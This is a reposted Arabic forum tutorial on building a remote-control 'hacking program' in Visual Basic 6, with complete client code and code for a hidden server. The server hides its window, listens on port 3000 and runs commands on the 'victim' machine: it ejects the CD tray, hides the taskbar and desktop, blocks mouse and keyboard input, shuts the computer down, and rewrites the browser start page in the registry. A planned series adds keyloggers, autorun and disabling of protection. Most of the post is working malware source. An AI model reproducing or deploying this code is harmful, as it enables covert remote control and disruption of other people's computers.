منقول
السلام عليكم :
لقد نقلت هذي الطريقه من الاخ الفاضل AsbMay وهي طريقة تصميم برنامج أختراق عن الطريق الفيجوال بيسك
بس يباله شوي تركيز منكم
بسم الله الرحمن الرحيم
بعد افتتاح الموقع الموقع مرة أخرى للأسف كما نرى ضاعت المواضيع
لذا فسأعيد ما يعيننى الله على إعادته من الدروس
والفترة التالية بإذن الله ستوضح من مع القراصنة العرب ومن ضدهم من خلال بناء الموقع مرة أخرى
الفكرة :-
تصميم برنامج إختراق أجهزة من عميل وخادم بالفيجول بيزك
الهدف :-
إيجاد برنامج عربى قوى ينافس البرامج الأجنبية
سلسلة الدروس :-
1- التصميم الأساسى للبرنامج مع قائمة المرح ورسائل النظام
وهذا هو الدرس الذى سنتناوله اليوم
2- إضافة محادثة العميل والضحية
3- إضافة محادثة الماتركس
4- تطوير الخادم من تبليغ بريدى وتشغيل اتوماتيكى فى الرجسترى وقتل الحماية .... الخ
5- إضافة الكى لوجر جاسوس لوحة المفاتيح
6- تعليم صناعة محرر الخادم الإيدت سرفر
7- إضافة إدارة النوافذ
8- إضافة إدارة الملفات
9- إضافة تصوير الشاشة والكاميرا
10- إضافة الحماية بالباسورد
هذا هو كل ما تمكنت من اضافته لبرنامجى الإصدار الخامس الذى قريبا سترونه
وإن شاء الله تصممون مثله وافضل
-------------------------------
-: الشرح :-
افتح الفيجول بيزك كالمعتاد بإختيار Standard EXE
راح يفتح لك فورم فارغ كما بالصورة التالية
الآن علينا تغيير خصائص الفورم حتى تناسبنا
والان من مربع الخصائص Properties نقوم بالآتى :
1- تغيير الإسم من الخاصية Name إلى Main
2- تغيير الحدود من BorderStyle إلى Fixed Single
3- تغيير التسمية من الخاصية Caption إلى أى اسم تريد مثلا Client
وهذه الصورة للتوضيح
الآن نقوم بإضافة الكائنات من ToolBox كما بالصورة التالية
ولمن لا يدرى كيفية إضافة الكائنات هذه الصورة للتوضيح
الآن سنقوم بتغير تسميات العناوين باستخدام الخاصية Caption كما بالصورة التالية
نفس العملية أيضا مع الأزرار من الخاصية Caption
أما مربعات النصوص فنغيرها من الخاصية Text
الآن بعد ان غيرنا التسميات علينا تغيير الأسماء من الخاصية Name كالتالى
زر الإتصال = cmdConnect
زر قطع الإتصال = cmdDissconnect
مربع إدخال الأى بى = txtIP
مربع إدخال المنفذ = txtPort
عنوان الحالة = lblStat
الآن انتهينا من كائنات الفورم الأساسى للعميل
سننتقل إلى إضافة فورم المرح وبعده فورم رسائل النظام
إضافة فورم المرح والرسائل
نقوم بإضافة فورم جديد كما بالصورة التالية
راح يفتح لنا هذه النافذة
نقوم بإختيار الخيار الأول Form
راح يفتح لنا فورم جديد كالسابق
نقوم بتغيير الإسم إلى Fun والحدود إلى Fixed Single والتمسة إلى اى شئ تريد
نقوم بإضافة خمسة عشر زر كالتالى
نقوم يتغيير التسميات من Caption كالتالى
الان انتهينا من فورم المرح وسنضيف فورم رسائل النظام
نقوم بإدارج فورم جديد بنفس الطريقة السابقة
نقوم بتغيير الإسم إلى Massege والحدود إلى Fixed Single والتمسة إلى اى شئ تريد
نقوم بإدراج الكائنات كما بالتالى
نقوم بتغير التسميات من Caption ما عدا مربع النص نغيره من Text
ثم نقوم بتغيير إسم مربع النص من الخاصية Name إلى txtMsg
والآن انتهينا من إضافة فورم رسائل النظام وبقى خطوة واحدة فى الكائنات وهى إضافة الوينسوك
-: إضافة الوينسوك :-
وهى الأدارة التى تربط بين اى برنامجين وتقوم بإرسال واستقبال البيانات بل وأيضا الملفات عن طريق تحوليها إلى صيغ ثنائية , ويمكن الإستغناء عنها بتعريفها باستخدام دوال Microsoft API
والان حتى تتمكن من اضافتها اتبع الآتى
عد إلى الفورم الرئيسى Main
اذهب إلى ToolBox واضغط زر الفأرة الأيمن واختر Components
راح يفتح لك قائمة بالأدوات الخارجية المسجلة
ابحث فى هذه القائمة ستجد الوينسوك بإسم Microsoft Winsock Control 6.0
علم امامها بعلامة صح ثم اضغط OK
اما إن لم تجدا باللستة فستضطر إلى اضافتها بنفسك بالضغط على Browse...
سيفتح لك مربع تحديد ادوات OCX قم بإختيار الوينسوك وستجدها بإسم MSWINSCK.OCX
إن كنت من مستخدمى XP أو 2000 أو 2003 فستجد الوينسوك فى مجلد System32 بالويندوز
أما إن كنت من مستخدمى X9 أو ME فستجدها فى مجلد System بالويندوز
وبعد تحديدها ستجدها أضيفت لقائمتك كما بالصورة التالية
اضغط عل OK لتضاف فى آخر ToolBox
قم بالضغط عليها مرتين لتندرج فى مشروعك كما بالصورة التالية
وبالطبع لا تنس تغيير إسم الوينسوك من الخاصية Name إلى wnsClient
------------------------------
-: الأكواد :-
لمن لايعرف كيفية إضافة الاكواد للكائنات يكفيك الضغط عليها مرتين ولصق الكود فى المكان الذى سيفتح عليه )
1- كود زر الإتصال
If txtIP.Text = "" Then ' التأكد من رقم الأى بى
MsgBox "من فضلك ادخل رقم IP مناسب"
Else
cmdConnect.Enabled = False ' لإيقاف عمل زر الإتصال
cmdDissconnect.Enabled = True ' لتفعيل زر إيقاف الإتصال
lblStat.Caption = "الاتصال جاري.." ' تحديث الحالة
wnskClinet.Close 'إغلاق إى إتصال مفتوح
wnskClinet.Connect txtIP.Text, txtPort.Text 'الإتصال
End If
- كود زر قطع الإتصال
كود:
lblStat.Caption = "غير متصل" ' نحديث الحالة
cmdDissconnect.Enabled = False ' لإيقاف زر قطع الإتصال
cmdConnect.Enabled = True ' لتفعيل زر الإتصال
wnskClient.Close 'اغلاق الاتصال
- كود زر المرح
كود:
Fun.Show ' لإظهار فورم المرح
- كود زر رسائل النظام
كود:
Massege.Show 'لإظهار فورم الرسائل
الحين نبدأ بأكواد الأداة وينسوك
نقوم بالضغط مرتين على الأدارة وينسوك راح يفتح لنا على الإجراء Error نلصق به هذا الكود
lblStat.Caption = "خطأ فى الإتصال"
cmdConnect.Enabled = True ' لإيقاف عمل زر الإتصال
cmdDissconnect.Enabled = False ' لتفعيل زر إيقاف الإتصال
الحين نغير من الإجراء Error إلى الإجراء Close والصورة التالية توضح كيفية تغيير الإجرائات
ونلصق هذا الكود فى الإجراء Close
كود:
wnskClient.Close
cmdConnect.Enabled = True ' لإيقاف عمل زر الإتصال
cmdDissconnect.Enabled = False ' لتفعيل زر إيقاف الإتصال
ثم ننتقل إلى الإجراء Connect ونلصق هذا الكود
كود:
lblStat.Caption = "تم الإتصال"
cmdConnect.Enabled = False ' لإيقاف عمل زر الإتصال
cmdDissconnect.Enabled = True ' لتفعيل زر إيقاف الإتصال
اخيرا فى حدث تحميل الفورم Form Load الصق هذا الكود
كود:
cmdDissconnect.Enabled = False ' لإيقاف زر قطع الإتصال
الآن انتهينا من أكواد الفورم الرئيسيى Main
--------------------------------
أكواد فورم المرح Fun
- كود زر فتح سواقة الأقراص
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "opn" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر إغلاق سواقة الأقراص
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "cls" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر إخفاء شريط المهام
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "hid" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر إظهار شريط المهام
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "shw" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر إخفاء سطح المكتب
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "dth" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر إظهار سطح المكتب
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "dts" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر إخفاء زر إبدأ
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "sbh" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر إظهار زر إبدأ
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "shw" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر فتح صفحة بالمتصفح
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
site = InputBox("أدخل الصفحة المراد فتحها عند الضحية", "أدخل الصفحة")
Main.wnskClinet.SendData "opg" & site 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر ضبط صفحة البدء
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
WEB = InputBox("أدخل الصفحة المراد ضبتها كصفحة بدأ", "أدخل الصفحة")
Main.wnskClinet.SendData "oph" & WEB 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر تعطيل الفأرة والمفاتيح
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "smk" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر تشغيل الفأرة والمفاتيح
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "pmk" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر إغلاق الجهاز
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "sht" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر إعادة التشغيل
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "res" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
كود زر تشغيل حافظة الشاشة
كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
Main.wnskClinet.SendData "scr" 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
الآن انتهينا من أ كواد فورم المرح Fun
------------------------
أكواد فورم الرسائل Massege
1- أكواد زر إرسال الرسالة
كود:
If Main.cmdDissconnect.Enabled = False Then 'التأكد من الإتصال
MsgBox "انت غير متصل", vbCritical
Else
If Option1.Value = True Then
Main.wnskClinet.SendData "mer" & txtMsg 'ارسال الي السيرفر
End If
If Option2.Value = True Then
Main.wnskClinet.SendData "mqu" & txtMsg 'ارسال الي السيرفر
End If
If Option3.Value = True Then
Main.wnskClinet.SendData "min" & txtMsg 'ارسال الي السيرفر
End If
If Option4.Value = True Then
Main.wnskClinet.SendData "mex" & txtMsg 'ارسال الي السيرفر
End If
If Option5.Value = True Then
Main.wnskClinet.SendData "mno" & txtMsg 'ارسال الي السيرفر
End If
End If
كود زر اختبار الرسالة
كود:
If Option1.Value = True Then
MsgBox txtMsg, vbCritical
End If
If Option2.Value = True Then
MsgBox txtMsg, vbQuestion
End If
If Option3.Value = True Then
MsgBox txtMsg, vbInformation
End If
If Option4.Value = True Then
MsgBox txtMsg, vbExclamation
End If
If Option5.Value = True Then
MsgBox txtMsg
End If
الآن انتهينا تماماً من العميل اكواداً وكائنات وصار جاهزاً لتحويله ملف تنفيذى
________________________________________
-: الخادم :-
- الكائنات -
هذه المرة ما راح نحتاج كائنات غير الوينسوك والباقى سيكون مجرد أكواد
قم بفتح مشروع جديد تماما Standerad EXE
سيفتح لك بالطبع الفورم التقليدى
لسنا بحاجة إلى تحديد اسم او تسمية أو حتى تغيير الحدود لأن هذا الفورم سيكون مخفى لا يراه أحد
نقوم بإدراج الأداة وينسوك على الفورم كما تعلمنا سابقا
ولا ننس تغيير إسمها إلى wnskServer
الحين انتهينا من الكائنات
- الأكواد -
1- فى إجراء تحميل الفورم Form Load نضع هذا الكود
كود:
Form1.Visible = False ' إخفاء الفورم
wnskServer.LocalPort = 3000 'رقم المنفذ الخاص بالسرفر
wnskServer.Listen ' الإنصات بإنتظار إشارة من العميل
إجرائات الوينسوك
1- الإجراء Clsoe
كود:
Form1.Visible = False ' إخفاء الفورم
wnskServer.LocalPort = 3000 'رقم المنفذ الخاص بالسرفر
wnskServer.Listen ' الإنصات بإنتظار إشارة من العميل
الإجراء ConnectionRequest
كود:
wnskServer.Close 'إغلاق الإتصال قبل قبول اى اتصال آخر
DoEvents
wnskServer.Accept requestID ' قبول الإتصال
الإجراء DataArrival
كود:
Dim vardata As String ' الإعلان عن بعض المتغيرات
Dim strdata As String ' الإعلان عن بعض المتغيرات
Dim cmddata As String * 3 ' الإعلان عن بعض المتغيرات
wnskServer.GetData strdata ' الأمر بإستقبال الرسائل من الهميل
cmddata = Left(strdata, 3)
vardata = Right(strdata, Len(strdata) - 3)
DoCommand cmddata, vardata
الإجراء Error
كود:
wnskServer.Close ' لإغلاق الإتصال فى حالة الخطأ
wnskServer.Listen 'لإعادة التصنت من جديد
قم بإضافة موديل وهذه طريقة إضافته
سيفتح لك مربع حوار به خيار وحيد اختره
ثم قم بلصق هذا الكود به
كود:
Public Function DoCommand(command As String, Data As String)
Select Case LCase(command)
Case "opn"
OpenCDDriveDoor (True) 'إرسال لتفعيل امر فتح سواقة الاقراص
Case "cls"
OpenCDDriveDoor (False) 'إرسال لتفعيل امر إغلاق سواقة الاقراص
Case "hid"
hidetask True 'إرسال لتفعيل إخفاء شريط المهام
Case "shw"
hidetask False 'إرسال لتفعيل إظهار شرسط المهام
Case "dth"
hidedt True 'إرسال لتفعيل إخفاء شريط المهام
Case "dts"
hidedt False 'إرسال لتفعيل إظهار شريط المهام
Case "sbh"
hidesb True 'إرسال لتفعيل إخفاء زر ستارت
Case "sbs"
hidesb False 'إرسال لتفعيل إظهار زر ستارت
Case "sht"
On Error Resume Next
WinDir$ = Environ$("windir")
KillWin$ = WinDir$ + "\Rundll.exe User.exe,ExitWindows"
************l KillWin$
Case "res"
On Error Resume Next
Call ************l("Rundll32.exe user,exitwindows")
Case "opg"
Dim X As Object
Set X = CreateObject("InternetExplorer.Application")
X.Navigate Data
X.Visible = True
Case "oph"
SetStartPage Data
Case "scr"
ScreenSaver True
Case "smk"
KeyMous True
Case "pmk"
KeyMous False
Case "mer"
MsgBox Data, vbCritical, "Erorr" 'إظهار الرسالة للضحية فى مربع حطأ
Case "mqu"
MsgBox Data, vbQuestion, "Question" 'إظهار الرسالة للضحية فى مربع حطأ
Case "min"
MsgBox Data, vbInformation, "Information" 'إظهار الرسالة للضحية فى مربع ملعومات
Case "mex"
MsgBox Data, vbExclamation, "Exclamation" 'إظهار الرسالة للضحية فى مربع تحذير
Case "mno"
MsgBox Data, , "System" 'إظهار الرسالة للضحية فى مربع فارغ
End Select
End Function
ثم نقوم بتغيير إسمه إلى mdlCases
ثم نقوم بإذافة موديل آخر بنفس الطريقة السابقة ونسميه هذه المرة mdlOrders
ونلصق به هذا الكود
Private Declare Function RegCloseKey Lib "advapi32.dll" _
(ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" _
Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey _
As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias _
"RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
Private Const REG_SZ = 1
Private Const HKEY_CURRENT_USER = &H80000001
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Const HWND_TOP = 0
Public Const HWND_TOPMOST = -1
Public Const SWP_NOSIZE = &H1
Public Const SWP_NOMOVE = &H2
Public Const FLAGS = SWP_NOSIZE Or SWP_NOMOVE
Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Public Const SW_HIDE = 0
Public Const SW_SHOW = 5
Const SWP_HIDEWINDOW = &H80
Public Sub OpenCDDriveDoor(ByVal State As Boolean)
If State = True Then
Call mciSendString("Set CDAudio Door Open", 0&, 0&, 0&)
Else
Call mciSendString("Set CDAudio Door Closed", 0&, 0&, 0&)
End If
End Sub
Public Sub hidetask(ByVal State As Boolean)
If State = True Then
Call SetWindowPos(FindWindow("************l_traywnd", ""), 0, 0, 0, 0, 0, &H80)
Else
Call SetWindowPos(FindWindow("************l_traywnd", ""), 0, 0, 0, 0, 0, &H40)
End If
End Sub
Public Sub hidedt(ByVal State As Boolean)
If State = True Then
ShowWindow FindWindowEx(0&, 0&, "Progman", vbNullString), 0
Else
ShowWindow FindWindowEx(0&, 0&, "Progman", vbNullString), 5
End If
End Sub
Public Sub hidesb(ByVal State As Boolean)
If State = True Then
ShowWindow FindWindowEx(FindWindow("************l_TrayWnd", ""), 0, "Button", vbNullString), 0
Else
ShowWindow FindWindowEx(FindWindow("************l_TrayWnd", ""), 0, "Button", vbNullString), 1
End If
End Sub
Public Sub SaveString(hKey As Long, Path As String, _
Name As String, Data As String)
Dim KeyHandle As Long
Dim r As Long
r = RegCreateKey(hKey, Path, KeyHandle)
r = RegSetValueEx(KeyHandle, Name, 0, _
REG_SZ, ByVal Data, Len(Data))
r = RegCloseKey(KeyHandle)
End Sub
Public Sub SetStartPage(URL As String)
Call SaveString(HKEY_CURRENT_USER, _
"Software\Microsoft\Internet Explorer\Main", _
"Start Page", URL)
End Sub
Public Sub ScreenSaver(ByVal State As Boolean)
If State = True Then Call SendMessage(Form1.hwnd, &H112&, &HF140&, 0)
End Sub
Public Sub KeyMous(ByVal State As Boolean)
If State = True Then
BlockInput True
Else
BlockInput False
End If
End Sub
الآن انتهينا من العميل والخادم أكواد وكائنات
اتمنى ان يكون الشرح سهل ومبسط ومفهمو وأى استفسار انا موجود
أتمنه أكون وفقت في ألقاء المحاضره من الاخ AsbMay عن طريق هذي المحاضر أن شاء الله سوف نقوم بتصميم أقوى
برنامج هكر بسم شامل نت
مع تحياتى : أخوكم مستحييييل